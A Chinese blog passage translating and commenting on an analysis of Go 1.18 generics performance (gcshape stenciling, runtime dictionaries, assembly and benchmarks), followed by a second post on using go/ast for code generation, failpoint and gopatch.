同处于一个 gcshape group. 这可能让你感到奇怪:“哼,那么,当我们想在这些对象上调用方法时,会发生什么?这种方法的位置,不可能是 gcshape 的一部份!” 好吧,这种设计的名字破坏了我们的想法:gcshape
并不知道方法函数,所以我们需要讨论由此引出的 dictionaries
字典
当前 go1.18 泛型实现,每次调用泛型函数时,都会把一个静态 dictionaries
字典当成第一个参数,传到函数中,字典中包函了类型的元数据信息。对于 AMD64 架构来说,字典会放到 AX 寄存器中,对于不支持 stack-based 调用归约的平台,会放到栈上。
字典的全部实现细节在上述设计文档中得到了深入的解释,一句话总结,它们包括所有需要的类型元数据,以将参数传递给的泛型函数,将它们从接口转换为接口,以及与我们最相关的,对它们进行方法调用
这就对了,在单态化步骤完成后,生成的函数,需要为所有的泛型参数传入一个运行时参数,参数里面包含了 virtual method tables 虚函数表。直观的说,这么做减少了生成的代码量,但这种高次层的单态化,并不适合去做 de-virtualization, inline 或是说任何形式的性能优化
事实上,对于绝大多数的Go代码来说,使其泛型化似乎意味着使其变得更慢。但在我们开始陷入绝望的深渊之前,让我们运行一些基准测试,看看一些汇编并验证
Vitess 开源的分布式数据库,它是非常庞大复杂的 go 应用,可以做为新特性很好的测试平台。在 vitess 中我遇到好多函数,或是数实,都是手工实现的单态(通俗来说,就是给每个类型手工实现,copy and past 代码),不可避免会有重复的代码,有些是因为 inteface 不能模拟这种多态,有些纯粹是为了性能
举个例子:sqltypes 包中的 BufEncodeSQL
函数,被重复定义,用来接收参数 *strings.Build
或是 *bytes.Buffer
, 因为要针对 buffer 多次调用,并且会被 go 编译器 inline 内联,当且仅当参数是未装箱 (unboxed) 类型 (interface 就不会被内联)。因为性能原因,可以看到在代码库中有大量类似的用法
使这段代码泛型化是微不足道的,所以让我们这样做,并将该函数的泛型版本与以 io.ByteWriter
为接口的简单版本进行比较
不出意外:WriteByte
的所有调用都是通过 interface itab 进行的,稍后讲一些这意味着什么。不过,泛型版本更有趣
首先看到的是编译器,生成了一个单一的实例函数
(BufEncodeStringSQL[go.shape.*uint8_0])
虽然我们没有在内联 inline 视图中显示出来,但我们必须调用该泛型实现,并携带参数 *strings.Builder
编译器才能生成我们用到的函数实例(这是废话,单态化都是按需生成)
1 | var sb strings.Builder |
调用完后,我们发现对于 *strings.Builder
的生成汇编代码,他的 gcshape 是 *uint8
, 上面我们解释了,对于指针类型,go 模板化时都被归为 *uint8
, 不论指针具体指向何种类型。而对象的属性 (最重要的 itab) 存储在当成第一个参数,而传递进来的字典 dictionaries 中
这和我们在 generic design document 中看到的一致:对于结构体指针的单态化,就像 void *
指针一样,这点熟悉 c 的肯定了解,根本不考滤具体类型的其它属性,因此,也就不可能被内联 inline, 因为内联所需要的信息只能在 runtime 运行时获得
非常糟糕,我们己经看到,go 的模板化 stenciling 设计不允许对函数进行 de-virtualization, 因为更不可能内联。事情变得更糟糕了!可以比较用 inteface 当参数调用 WriteByte
的汇编代码和泛型代码,来分析下性能
当比较代码前,让我们回忆下 interface 在 go 中是如何实现的。上面提到,接口也是一种多态的形式,使用 boxing 装箱方式实现的。inteface 是一个 16 bytes 的胖指针实现的,结构体名 iface
, 第一个指针指向接口的元数据信息 itab
, 第二个指针指向值本身
1 | type iface struct { |
itab
包含很多关于接口的信息,inter
, _type
, hash
字段包含了所有必要的信息,来允许做接口之间的转换,反射,以及 switch 切换。但在这里我们关心末尾的数组,尽管类型是 [1]uintptr
, 实际上是一个可变长度的
itab
结构体大小是可变的,以容纳足够多的空间,存储接口中每个方法的函数指针。当我们每次调用接口上的方法时,都要用到这个,类似于 c++ 中的 vtable
记住这一点,我们就能理解非泛型实现下,是如何调用接口内方法的。这就是第 8 行 buf.WriteByte('\\')
编译的汇编:
1 | func BufEncodeStringI(buf io.ByteWriter, val []byte) { |
1 | 0089 MOVQ "".buf+48(SP), CX |
为了调用 buf 的 WriteByte
方法,我们需要指向 itab 的指针。尽管 buf 原来是以一对寄存器传入函数中的,但是编译器在函数开始时把他放到了栈 stack 中,释放寄存器用于其它用途。
这段汇编,首先把 *itab
从栈 stack 装载回寄存器 CX
中。然后解引用 itab 指针,来获取他的字段,即 MOVQ 24(CX), DX
, 根据 itab
定义,函数指针偏移量就是 24
寄存器 DX
包含了我们想调用函数的地址,目前还缺少函数的参数。我们知道调用结构体的方法,就是把结构体当成第一个参数,这个例子中是 buf.(*iface).data
, 即接口内的 strings.Builder
的实际指针,指针在栈 stack 上是可用的,即 itabe
后面 MOVQ "".buf+56(SP), AX
, 第二个参数 \\
对应 ASCII 92, 然后调用 CALL DX
执行函数
为了调用一个简单的方法,真是费了不少力气。尽管在实际性能方面,它并不那么糟糕。除了通过接口的调用总是能防止内联 inline 外,调用的实际开销是一个单一的指针解除引用,以便从 itab
内部加载函数地址。稍后我们将对其进行基准测试,看看这个开销多大,但首先,让我们看看泛型生成的代码
回到泛型函数的汇编代码,提醒一下,我们正在分析生成的 *uint8
实例化,因为所有指针的 gcshape 都一样,类似 void *
. 让我们看看泛型 WriteByte
方法:
1 | 008f MOVQ ""..dict+48(SP), CX |
是不是似曾相识?还有有个很明显的区别。MOVQ 64(CX), CX
这里多了一次额外的指针解引用。
很无耐的操作,原因是:由于设计的问题,我们单态化所有指针为一个 gcshape group, 都是 *uint8
, 不包含任何指针上可以调用的方法信息。那么从哪获取呢?理想情况下,应该存在于和我们指针关联的 itab
中,但是并没有,因为我们的 gcshape 需要一个 8byte 指针作为参数,而不是像接口那样信息很全的胖指针(即 type iface struct)
如果你还记得,这就是为什么 go 所谓的模版化实现(stenciling), 要给每个泛型函数调用传递一个字典 dictionary 的全部原因:这个字典包含指向函数的所有泛型参数的 itab 的指针
即然是这样实现的,那么汇编代码,多一次解引用获取数据,看起来合理了。WriteByte
方法调用开始,不是传入 itab
而是传递 dictionary
给泛型函数,存放到寄存器 CX
, 解引用,然后偏移量 64 找到 *itabe
, 还需要再解引用 MOVQ 24(CX), CX
才能找到函数地址
额外的一次解引用性能有多糟糕呢?直观的讲,可以假设泛型方法调用,总是比 interface 接口的方法调用慢,原因就在于两次解引用
1 | name time/op alloc/op allocs/op |
上面是 benchmark 结果,GenericWithPointer
传递 *strings.Builder
到泛型函数 func Escape[W io.ByteWriter](W, []byte)
, Iface
是函数 func Escape(io.ByteWriter, []byte)
, Monomorphized
就是普通的单态化函数 func Escape(*strings.Builder, []byte)
结果不出意外,单态是最快的,因为它允许编译器在内部 inline 内部调用。泛型的慢一些,看起来没那么明显,因为 itab 和 dictionary 都缓存了,但是请继续阅读 cache contention 是如何影响泛型的
这就是我们从分析中得到的第一个启示:go1.18 中转换成泛型是没有任何性能收益的,因为无法从指针中直接调用函数,相反还需要一次额外的解引用。这和我们希望的完全相反,即 de-virtualization 的同时,尽可能 inline
结束当前小节前,我们再看一下 go 栈逃逸的一个细节:单态函数 2 allocs/op, 因为传进去的指针在栈 stack 上,并没逃逸。Iface
3 allocs/op,也可以理解,毕竟还要有接口 interface 的分配。但令人惊讶的是:泛型函数也是 3 allocs/op, 尽管生成的函数实例化直接使用了指针,但 escape analysis 不能再证明它是 non-escape, 所以我们得到了一个额外的堆分配。哦,好吧。这是一个小失望,后面还有更让人失望的
在过去的几节中,我们一直在分析泛型函数的代码,如果你还记得,签名是 func Escape[W io.ByteWriter](W, []byte)
, 而 *strings.Builder
无疑满足了这个约束,产生了一个 *uint8
gcshape
如果我们把我们的 *strings.Builder
隐藏在一个接口后面,会发生什么?
1 | var buf strings.Builder |
BufEncodeStringSQL
泛型函数传进来的是接口,这么做肯定是可以的。但是生成的实例化代码会什么样?我们看下汇编
1 | 00b6 LEAQ type.io.ByteWriter(SB), AX |
历害了!与前面生成的代码比较,多了很多。上面看到,额外指针解引用,对性能是有影响的,想象一下这次更多了
这里发生什么了?我们知道 runtime.assertI2I
是 go runtime 函数:用来做接口的转换,接受 *interfacetype
, *itab
作为它的两个参数,只有接口符合要求时才返回 itab
. 恩, 什么意思?
1 | type IBuffer interface { |
假设有个接口 IBuffer
, 我们没有提 io.ByteWriter
或者 io.Writer
, 但任何实现了 IBuffer
的类型也自动隐式的实现这两个接口。这在我们泛型的生成代码中产生了有意义的影响:
由于我们泛型的约束是 [W io.ByteWriter]
, 传递任何实现访接口的都可以,当然包括上面提到的 IBuffer
. 但当我们调用 WriteByte
方法时,在我们收到接口的 itab.fun
数组中,这个方法在哪里?方法偏移量在多少?我们根本不知道
如果是传递的 *strings.Builder
作为参数,我们知道 itab.fun[0]
就是我们要的方法。如果我们传 IBuffer
, 根据结构体定义,位于 itab.fun[1]
. 我们需要一个 helper 辅助函数,它接收 IBuffer
的 itab
, 并返回一个 io.ByteWriter
的 itab, 这样 WriteByte
稳定在 itab.fun[0]
位置。这就是 runtime.assertI2I
工作原理
1 | 00b6 LEAQ type.io.ByteWriter(SB), AX |
首先,加载 io.ByteWriter
的 interfacetype
(这是一个硬编码的全局,因为这是我们约束中定义的接口类型) 到 AX
寄存器中
MOVQ ""..autotmp_8+40(SP), BX
将实际传递到参数的接口 itab
加载到 BX
, 这是后面 assertI2I
要用到的参数,完成后 AX
中得到了 io.ByteWriter
的 itab
, 然后就像我们上面调用函数一样工作即可,函数指针现在总是在我们的 itab 中的偏移量 24
本质上讲,就个所谓的 shape instantiation 实例化所做的工作就是:将每个方法调用从 buf.WriteByte(ch)
转换为 buf.(io.ByteWriter).WriteByte(ch)
确实,这样做看起来开销很大,也多余,所以不能在函数开始时,只获取一次 io.ByteWriter
的 itab, 后续复用不行嘛?看起来不行,但在有些函数实例化中做是安全的(比如,我们目前正在分析的函数),因为 buf 接口内的值永远不会改变,不需要进行类型转换或将 buf 接口向下传递到栈的任何其他函数。Go 编译器在这里肯定有一些优化的空间。看一下基准数据,看看这样的优化会有多大的影响。
1 | name time/op alloc/op allocs/op |
太差劲了,assertI2I
开销很明显,速度几乎比直接调用慢了一倍,比直接调用接口慢 30%. 不管怎么说,这都是需要注意的性能问题:同样的泛型函数,同样的参数,如果你在一个接口中传递参数,而不是直接以指针的形式传递,那么速度就会大大降低
…但是等等! 我们在这里还没有完成! 还有更多迷人的性能细节可以分享,你可能已经从我们基准案例的仔细命名中猜到了。事实证明,GenericWithExactIface
基准测试实际上是最好的情况,因为我们函数中的约束条件 [W io.ByteWriter]
,而我们是以 io.ByteWriter
接口来传递我们的参数
这意味着 runtime.assertI2I
立即返回我们所需要的 itabe
, 但是如果把我们的参数作为先前定义的 IBuffer
接口来传递呢?
这应该可以正常工作,因为 *strings.Builder
同时实现了 IBuffer
和 io.ByteWriter
, 但是在运行时,当 assertI2I
试图从 IBuffer
参数中获取 io.ByteWriter
的 itab
时,我们函数中的每个方法调用都会导致全局哈希表的查找
1 | name time/op alloc/op allocs/op |
有意思,看起来,我们可能完全用错了,取决于传递给泛型函数的接口,是否与它的约束条件匹配,或者是约束条件的超集。(Haha, awesome. This is a very cool insight. We’ve upgraded from a performance footgun to a footcannon, and this all depends on whether the interface you’re passing to a generic function matches exactly its constraint or is a super-set of the constraint. ) 这里贴了原文,footgun
是外国的笑话,形容 “shoot yourself in the foot”,换句话说,这里形容泛型用错了,姿势不正确
这是本文分件最有收获的点:向 go 泛型中传递一个 inteface 是错误的 最好的情况下,也和传递 interface 性能一样,否则会看到很显明的性能开销,特别是超集的情况下,每个方法调用,都必须从 hash 表中动态解析,无法从缓存中获益
结束本节前,有一点非常重要,使用泛弄前一定要考滤能否接受额外的开销,本文测试 case 都是最好的情况,特别是对于接口调用,测试时 itab
和 dictionaries
可能都己经 cache 住了,全局 itabTable
也同理。实际生产环境中,cache contentions 缓存竞争是常态,itabTable
有成千上万个成员,这取决于你的服务运行时间,以及接口类型的数量。
所以,这意味着,真实环境下泛型调用开销更高。这也不是新鲜事情,实际上这种性能退化影响所有 go 服务的接口检查,但是这些接口检查通常不会像函数调用那样在紧密的循环中进行
是否有办法在模拟测试环境中对这种退化进行基准测试?有的,但这不是很科学,你可以污染全局的 itabTable
, 并从一个单独的 Goroutine 中不断地破坏 cpu L2 CPU 缓存。这种方法可以任意增加任何被测试的通用代码的方法调用开销,但很难在 itabTable
中创建一个与我们在实际生产服务中看到的情况准确匹配的竞争模式,所以测量的开销很难转化为更现实的环境
尽管如此,在这些基准测试中观察到的行为仍然相当有趣。这是测量 Go 1.18 中不同方法调用开销(以每次调用纳秒为单位)的微观基准的结果。被测试的方法有一个非内联的函数体,所以这是严格的测量调用开销。该基准运行了三次:在真空状态下,在二级缓存持续加压的情况下,以及在激增和全局 itabTable
大大增加的情况下,这会影响我们的 itab
的查找效率
可以看到性能和前面的相似,有趣的行为发生在我们增加竞争的时候:正如预期的,非泛型调用不受 L2 cache 竞争的影响,而所有泛型都有小幅的增加 (即使是不访问全局 itabTable 的代码,也很可能是因为所有泛型方法调用必须访问更大的运行时字典)
当我们把 itabTable
的大小和 L2 缓存的竞争一起增加时,真正灾难性的组合就发生了:所有方法调用都增加了大量开销,因为全局 itabTable
太大,无法装入缓存 cache. 同样,从这个微观测试中不能有意义地分辨出开销的确切数量
这取决于你的 Go 应用程序在生产中的复杂性和负载。从这个实验中得到的重要启示是,在泛型的 Go 代码中存在这种诡异的动作,所以要小心对待,并根据你的用例进行测量
在 Go 代码为中,有一个非常常见的模式,标准库中也能看到,一个以 []byte
为参数的函数,同样的也会有一个以 string
的函数实现,几乎一模一样
比如 (*Buffer).Write
与 (*Buffer).WriteString
, 不过 encoding/utf8 包是一个更夸张的例子:几乎 50% 的 API 都是重复的,分别手工实现了上述两种方法
值得指出的是,这种重复实际上是一种性能优化:API 很可能只提供 []byte
函数来操作 UTF8 数据,迫使用户在调用包之前将他们的字符串输入转换为 []byte
. 这并不是特别不符合人体工程学,而且开销也大,由于 Go 中的 slice 是可变的,而 string 是不可变的,在它们之间进行转换时,无论哪个方向都会强制进行分配对象
这种大量的代码重复看起来确实是泛型的一个有利目标,但是由于代码的重复首先是为了防止额外的对象分配,在我们试图统一实现之前,我们必须确保生成的实例的行为符合我们的期望
让我们比较一下 Valid
函数的两个版本:encoding/utf8 原始版本将 []byte
作为输入,新的泛型版本用 byteseq
来做约束
在新的泛型函数的形状之前,在非泛型代码中的一些优化细节应该回顾一下,这样可以验证它们在泛型实例化过程中是否存在
两个很好的优化和另一个不那么好的优化。首先,在 go1.16 中引入的基于寄存器 stack-based 调用规约,在 []byte
上表现很好:sliceheader 一共 24 字节,没有被放到 stack 栈上,而是作为 3 个寄存器中的单独传递,数据指针放到 AX 中,长度放到 BX, 所以上图能看到 len(p)>=8
对应汇编代码 CMPQ BX $8
这个编译后的函数中唯一令人不快的细节发生在主for循环中:第19行的 pi := p[i]
加载有一个边界检查,这个检查本应该由上面的循环头中的i < n
检查而变得多余的
我们可以在生成的汇编中看到,我们实际上是在一个接一个地链接两个跳转:一个 JGE
(这是一个有符号的比较指令)和一个 JAE
(这是一个无符号比较指令)。这是一个阴险的问题,产生于 Go 中 len 的返回值是有符号的,可能值得发表自己的博客 …
不管怎么说,这个 Valid
函数的非泛型代码总体上看是相当不错的。让我们把它与泛型实例化进行比较吧
我们在这里只看 []byte
参数的,用字符串参数调用会产生不同的汇编代码,因为这两种内存布局是不同的(字符串为 16 字节,[]byte
为 24 字节),即使它在两个实例化的形状中的用法是相同的,因为我们是以只读的方式访问字节序列的
.结果是很好! 实际上是非常好的。我们找到了一个用例,在这个用例中,泛型可以帮助消除代码的重复性,而不会出现性能下降的情况。这真是令人振奋啊 从上到下,我们看到所有的优化都是有效的(对于字符串的也是如此,这里没有显示)
基于寄存器 stack-based 调用归约,在泛型实例化后仍然有效,尽管注意到我们的 []byte
参数的长度现在驻留在 CX 而不是 BX 中:所有的寄存器都向右移动了一个槽,因为AX 现在被 Generics 实现的运行时字典占据
其他的都很整齐:32/64 位的加载仍然是两条指令,在非 Generic 版本中被省略的几个边界检查在这里也被省略了,而且没有任何地方被引入额外的开销。对这两个实现的快速基准测试验证了我们的解读:
1 | name time/op |
两个实现之间的性能差异在误差范围之内,所以这确实是一个最好的情况:[]byte | string
约束可以在 Go 泛型中使用,以减少处理字节序列的函数中的代码重复,而不会引入任何额外的开销
这里有一个有趣的例外:在运行 ASCII 基准时,字符串的泛型比非泛型的实现要快很多(~4%),尽管它们的程序集在功能上是相同的。然而,[]byte
在所有基准中的性能与非通用代码相同,同样具有相同的汇编。这是一个令人费解的现象,只有在对 ASCII 输入进行基准测试时才能可靠地再现
从第一个版本开始,Go 就对匿名函数提供了非常好的支持,它们是语言的核心部分,一等公民,极大的增加语言的表现力
例如,用户代码不能被扩展以允许在自定义结构或接口上调用范围运算符。这意味着为了支持迭代器,数据结构需要实现自定义的迭代器结构(有很大的开销),或者有一个基于函数回调的 iter API,这通常更快。这里有一个小例子,使用一个函数回调来迭代 UTF-8 编码的字节片中的所有有效符文(即Unicode编码点):
1 | func ForEachRune(p []byte, each func(rune)) { |
在不看任何基准测试的情况下:你认为这个函数与使用 for _, cp := range string(p)
的迭代相比,表现如何?对,它没有完全跟上。其原因是,字符串的 range loop 的迭代主体是内联的,所以最好的情况(一个纯粹的 ASCII 字符串)可以在没有任何函数调用的情况下处理。另一方面,我们的自定义函数必须为每个 rune 字符发出一个回调
如果我们能以某种方式内联函数的每个回调,就可以用 range loop 来处理 ASCII 字符串,甚至可能对 Unicode 字符串更快。然而,Go 编译器要怎样才能内联我们的回调呢?
在一般情况下,这是个很难解决的问题。想一想吧。我们传递的回调并没有在我们的本地函数中执行。它是在 ForEachRune
中执行的,作为迭代的一部分。为了让回调在迭代器中被内联,我们必须用我们特定的回调实例化一个 ForEachRune
的副本。但是Go的编译器不会这么做。任何明智的编译器都不会为一个函数生成一个以上的实例。除非…
除非我们欺骗编译器来做这件事! 因为这听起来确实很像单态化。有一种和时间一样古老的模式(至少和C++一样古老),那就是通过它所接收的回调的类型来参数化一个函数
如果你曾经在C++代码库中工作过,可能已经注意到,接受回调的函数通常是泛型的,将函数回调的类型作为一个参数
当闭包函数被单态化时,该函数调用的特定回调被替换到 IR 中,而且它常常变得很容易内联,特别是如果它是一个纯函数(即一个不捕获任何参数的回调)
由于这种可靠的优化,lambdas 和模板的组合已经成为现代 C++ 中零成本抽象的基石。它为像 Go 一样的语言增加了很多表现力,在不引入新的语言语法和运行时开销的情况下,实现了迭代和其他功能结构
问题是:我们能在 Go 中做同样的事情吗?可以根据函数的回调来对其进行参数化吗?事实证明我们可以,尽管有趣的是,在我找到的任何泛型文件中都没有解释。可以这样改写我们的迭代器函数的签名,它实际上可以被编译和运行:
1 | func ForEachRune[F func(rune)](p []byte, each F) { |
是的,你可以使用一个 func
签名作为一个泛型约束。约束不一定需要是一个接口,这是值得记住的
至于这个优化尝试的结果,我不打算在这里包括二进制汇编,但如果你一直跟到现在,你可能已经猜到这没有任何作用了。被实例化的通用函数的形状对我们的回调来说并不特别。它是一个 func(rune)
回调的 generic shape, 不允许任何形式的内联。这是另一个例子,更积极的单态化将开启一个非常有趣的优化机会
事实证明,自 go1.0 版本以来,Go 编译器的内联功能已经相当不错了。现在它可以做一些非常强大的事情,当泛型不碍事的时候
让我给你举个例子:想象一下我们正在开发一个库,为 Go 增加函数式调用。我们为什么要这样做呢?我也不知道。很多人似乎都在做这件事。也许是因为它很时髦。所以让我们从一个简单的例子开始,一个 Map
函数,它对一个 slice 的每个元素调用一个回调,并将其结果存储在原地
在我们进入 Generic map(这是一个有趣的例子)之前,让我们看看 MapInt
硬编码为 int slices
,看看Go 编译器能对这段代码做什么。事实证明,它可以做很多事情:MapInt
的汇编看起来非常好
我们直接从加载全局输入 slice 进行迭代,map 操作(在本例中是一个简单的乘法)是通过一条指令在线进行的。该函数已被完全 inline,MapInt
和 IntMapTest
内部的匿名回调都已从代码中消失
我们应该对这种代码生成印象深刻吗?这毕竟是一个非常微不足道的案例。也许 “印象深刻 “这个词并不恰当,但如果你一直在关注 Go 在过去十年中的性能演变,你至少应该感到相当兴奋
你看,这个例子中的简单 MapInt
函数实际上是对 Go 编译器中的 inline 启发式方法的压力测试:它不是一个叶子函数(因为它在里面调用了另一个函数),而且它包含一个有范围的 for 循环。这两个细节会使这个函数在迄今为止的每一个Go版本中都无法被优化。栈中内联直到 Go 1.10 才稳定下来,而内联包含 for 循环的函数的问题已经存在6年多了。事实上,Go 1.18 是第一个可以内联范围循环的版本,所以如果 MapInt
是在几个月前编译的,它看起来会有很大不同。
当涉及到 Go 编译器的代码生成时,这是一些非常令人兴奋的进展,所以让我们继续庆祝,看看这个相同函数的泛型实现……哦。哦,不。它现在不见了。这可真让人扫兴。MapAny
的主体,由于堆栈中间的内联,已经被内联到它的父函数中。然而,实际的回调,现在在一个 generic shape 后面,被生成为一个独立的函数,必须在循环的每个迭代中明确调用
让我们不要绝望:如果我们尝试我们刚刚讨论过的同样的模式,在回调的类型上进行参数化,会怎么样?这的确是个好办法。我们又回到了一个完全扁平化的函数,但是请注意,这并不神奇
内嵌毕竟是一种启发式方法,而在这个特殊的例子中,我们已经用正确的方法来处理启发式方法了
由于我们的 MapAny
函数足够简单,它的整个主体都可以被内联,我们所需要的只是为我们的 Generic 函数的添加更多的特殊性。如果我们的函数的回调不是对 generic shape 的回调,而是 func(rune)
回调的一个单态实例,这将允许 Go 编译器将整个调用扁平化。你明白我在说什么吗?
在这个例子中,内联函数体是一种非常特殊的单态化。一种非常积极的单态化,因为它所实例化的实际上是一种完全的单态化:它不可能是别的东西,因为闭包不是泛型的 当你将代码完全单态化时,Go 编译器能够进行非常有趣的优化
总结一下:如果你在写使用回调的函数式方法时,比如 Iterators
或 Monads
, 你要在回调的类型上对其进行参数化,如果并且只有在回调本身简单到可以完全内联的情况下,额外的参数化才会使内联器对调用进行完全的扁平化处理,然而,如果你的回调不够简单,不能被内联,那么参数化就毫无意义。实例化的泛型将过于粗糙,无法进行任何优化
最后,让我指出,尽管这个完全的单态化例子可能不是在所有情况下都可靠,但它确实暗示了一些非常有希望的事情:Go 编译器在内联方面已经变得非常好,如果它能够处理非常具体的代码实例,它能够生成非常好的汇编。Go 编译器中已经实现了大量的优化机会,只是在等待泛型实现的一点推动而开始发光发热。
这真是太有趣了! 我希望你和我一起看这些汇编实现时也有很多乐趣。在这篇文章的最后,让我们列举一下 Go 1.18 中关于性能和泛型的注意事项:
请尝试使用 ByteSeq
约束去掉接受一个 string 和一个 []byte 的相同方法。生成的实例化函数非常接近于手工版本
请在数据结构中使用泛型。这是迄今为止它们最好的使用情况。以前使用 interface{} 实现的泛型数据结构是复杂的,而且不符合人机工程。去除类型断言,并以类型安全的方式存储未装箱的类型,使得这些数据结构更容易使用,性能更强
请尝试通过回调类型来参数化函数,在某些情况下,它可能允许 Go 编译器将其扁平化。
不要试图使用泛型来 de-virtualize 或内联方法调用。这是不可行的,因为所有指针类型都有一个单一的 gcshape, 相关的方法信息存在于运行时字典中
在任何情况下都不要向泛型函数传递一个接口。由于接口的实例化方式,你不是在 de-virtualizing,,而是增加了另一个虚拟化层,涉及到对每个方法调用的全局哈希表查询。当在对性能敏感的情况下处理泛型时,只使用指针而不是接口
不要重写基于接口的 API 来使用泛型。考虑到当前实现的限制,任何目前使用非空接口的代码,如果继续使用接口,其行为将更有预见性,而且会更简单。当涉及到方法调用时,泛型将指针变成了两次直接的接口,而接口则变成了……嗯,如果我说实话,是相当可怕的东西。
不要绝望和/或大哭,因为 Go 泛型的语言设计中没有任何技术限制,可以阻止(最终)实现更积极地使用单态化来内联或 de-virtualizing 方法调用
啊,好吧。总的来说,这可能让那些期望将泛型作为优化 Go 代码的强大选项的人有点失望,就像在其他系统语言中那样。我们已经了解到(我希望!)很多关于Go编译器处理泛型的有趣细节。不幸的是,1.18 中的实现,往往会使泛型代码比它所替代的东西更慢。但正如我们在几个例子中所看到的,也不全是
不管我们是否认为 Go 是一种 “面向系统 “的语言,感觉运行时字典 dictionary 根本就不是编译语言的正确技术实现选择。尽管 Go 编译器的复杂度不高,但很明显可以衡量的是,从 1.0 开始,它生成的代码在每个版本上都在稳步提高,很少有退步,一直到现在
通过阅读 Go 1.18 中完全单态化的原始提案中的风险部分,似乎选择用字典实现泛型是由于单态化代码很慢。但这提出了一个问题:是这样吗?怎么会有人知道 Go 代码的单态化很慢呢?以前从来没有人这样做过
事实上,从来没有任何 Go 的泛型代码可以被单态化。我觉得这个复杂的技术选择背后有一个强有力的指导因素,那就是我们都持有的潜在的误导性假设,比如说 “单态化C++代码很慢”。这又提出了一个问题:是这样吗?
相对于 C++ 的性能噩梦,即 C++ 的包含处理,或应用在单态代码之上的许多优化通道,C++ 的编译开销有多少是来自单态化?C++ 模板实例化的糟糕性能特征是否也适用于 Go 编译器,因为它的优化传递要少得多,而且有一个干净的模块系统,可以防止大量冗余代码的产生?而在编译 Kubernetes 或 Vitess 等大型 Go 项目时,实际的性能影响会是什么?
当然,答案将取决于这些代码库中使用泛型的频率和位置。这些都是我们现在可以开始测量的东西,但在早期是无法测量的。同样地,我们现在可以在现实世界的代码中测量模版化+字典(stenciling + dictionaries)的性能影响,就像我们在这个分析中所做的那样,可以看到我们在程序中为加快 Go 编译器的速度付出了巨大的性能代价。
考虑到我们现在所知道的,以及这种泛型实现对性能敏感代码采用的限制,我只能希望使用运行时字典 dictionary 来减少编译时间的选择将被重新评估,并且在未来的 Go 版本中会出现更积极的单态化
在 Go 中引入泛型是一项艰巨的任务,虽然从任何角度来看,这项雄心勃勃的功能的设计都是成功的,但它在语言中引入的复杂性需要一个同样雄心勃勃的实现。这种实现可以在尽可能多的情况下使用,没有运行时的开销,而且不仅可以实现参数化的多态性,还可以进行更深层次的优化,很多实际的 Go 应用都会从中受益。
全文完:https://planetscale.com/blog/generics-can-make-your-go-code-slower
个人看法:go 从 1.0 到现在每个版本都能看到明显的进步,也一直在做大量的优化,想信当前 generic 实现会起来越好,也一定能在生产环境上使用,积极拥抱泛型(但不妨碍我骂他,)
分享知识,长期输出价值,这是我做公众号的目标。同时写文章不容易,如果对大家有所帮助和启发,请帮忙点击在看
,点赞
,分享
三连
关于 泛型
大家有什么看法,欢迎留言一起讨论,大牛多留言 ^_^
最近业务迁移,大约 100+ 个接口需要从旧的服务,迁到公司框架。遇到几个痛点:
这类工作要么手写(编译期), 要么 reflect 反射实现(运行时)。其中 #1 考滤到性能问题,手写最优,但是结构体太大,同时 100+ 个接口迁移,工作量可以想象
google 开源的 go-cmp, 输出美观,反射性能开销大了点。当前业务大量使用,堆机器吧又不是不能用
#2 目前不好解决,可以简单的 json Marshal 再 Unmarshal, 但有些字段类型不一致,同时如何做 json tag 到 pb tag 转换呢?
我们当前的方案是通过解析 ast, 读源码生成结构体树,然后 BFS 遍历自动生成转换代码
//go:generate ast-tools –action convert –target-pkg aaa/dto/geresponse –src-pkg bbb/dto –source aaaResponse –target bbbResponse
结合 go generate 自动生成,这是我们的目标
不搞编译器的大多只需要懂前端,不涉及 IR 与后端,同时 go 官方还提供了大量开箱即用的库 go/ast
1 | type Node interface { |
所有实现 Pos
End
的都是 Node
Comments
注释, //-style 或是 /*-style Declarations
声明,GenDecl
(generic declaration node) 代表 import, constant, type 或 variable declaration. BadDecl
代表有语法错误的 nodeStatements
常见的语句表达式,return, case, if 等等File
代表一个 go 源码文件Package
代表一组源代码文件Expr
表达式 ArrayExpr, StructExpr, SliceExpr 等等我们来看一个例子吧,goast可视化界面 更直观一些
1 | // Manager ... |
我们定义结构体 Manager
来看一下 goast 输出结果
1 | 29 . 1: *ast.GenDecl { |
*ast.GenDecl
通用声明,*ast.TypeSpec
代表是个类型的定义,名称是 Manager
1 | 48 . Assign: - |
*ast.StructType
代表类型是结构体,*ast.Field
数组保存结构体成员声明,一共 7 个元素,第 0 个字段名称 Same
, 类型 string
1 | 131 . 3: *ast.Field { |
*ast.SelectorExpr
代表该字段类型是 A.B,其中 A 代表 package, 具体 B 是什么类型不知道,还需要遍历包 A
1 | 221 . 6: *ast.Field { |
*ast.MapType
代表类型是字段,Key
, Value
分别定义键值类型
内容有点多,大家感兴趣自行实验
看懂了 go ast 相关基础,我们就可以遍历获取结构体树形结构,广度 + 深度相结合
1 | func (p *Parser) IterateGenNeighbours(dir string) { |
这里的工作量比较大,涉及 import 包,调试了很久,有些 linter 只需读单一文件即可,工作量没法比
最后一步就是输出结果,这里要 BFS 广度遍历结构体树,然后渲染模板
1 | var convertSlicePointerScalarTemplateString = ` |
上面是转换 [8]*Scalar
可以是数组或切片,模板使用 pongo2 实现的 jinji2 语法,非常强大
1 | // ConvertDtoInsuranceOptionToCommonInsuranceOptionV2 only convert exported fields |
上面是输出结果的样例,整体来讲比手写靠谱多了,遇到个别 case 还是需要手工 fix
工作当中用到编译原理的场景非常多,比如去年高老板分享的用规则引擎让你一天上线十个需求
1 | If aa.bb.cc == 1 // 说明是多车型发单 |
业务需要多种多样,订阅 MQ 根据需求做各种各样的统计,入库,供业务查询。如果业务类型少还好,但是 DIDI 业务复杂,如果每次都人工手写 go 代码效率太低
最后解决思路是 JPATH + Expression Eval
, 需求只需要写表达式,服务解析表达示即可。Eval 库也是现成的 govaluate
jinja2 就是这类的代表
原理非常简单,感兴趣的可以看官方实现
这里要介绍两个项目 pingcap failpoint 和 uber-go 的 gopatch
failpoint 实现很简单,代码里写 Marker
函数,这些空函数在正常编译时会被编译器优化去掉,所以正常运行时 zero-cost
1 | var outerVar = "declare in outer scope" |
故障注入时通过 failctl 将 Marker
函数转换为故障注入函数,这里就用到了 go-ast 做劫持转换
uber-go 的 gopatch 也非常强大,假如你的代码有很多 go func
开启的 goroutine, 你想批量加入 recover
逻辑,如果数据特别多人工加很麻烦,这时可以用 gopatcher
1 | var patchTemplateString = `@@ |
编写模板,上面的例子自动在 go func(...) {
开头注入 recover
语句块,非常方便
这个库能做的事情特别多,感兴趣自行实验
大部分 linter 工具都是用 go ast 实现的,比如对于大写的 Public 函数,如果没有注释报错
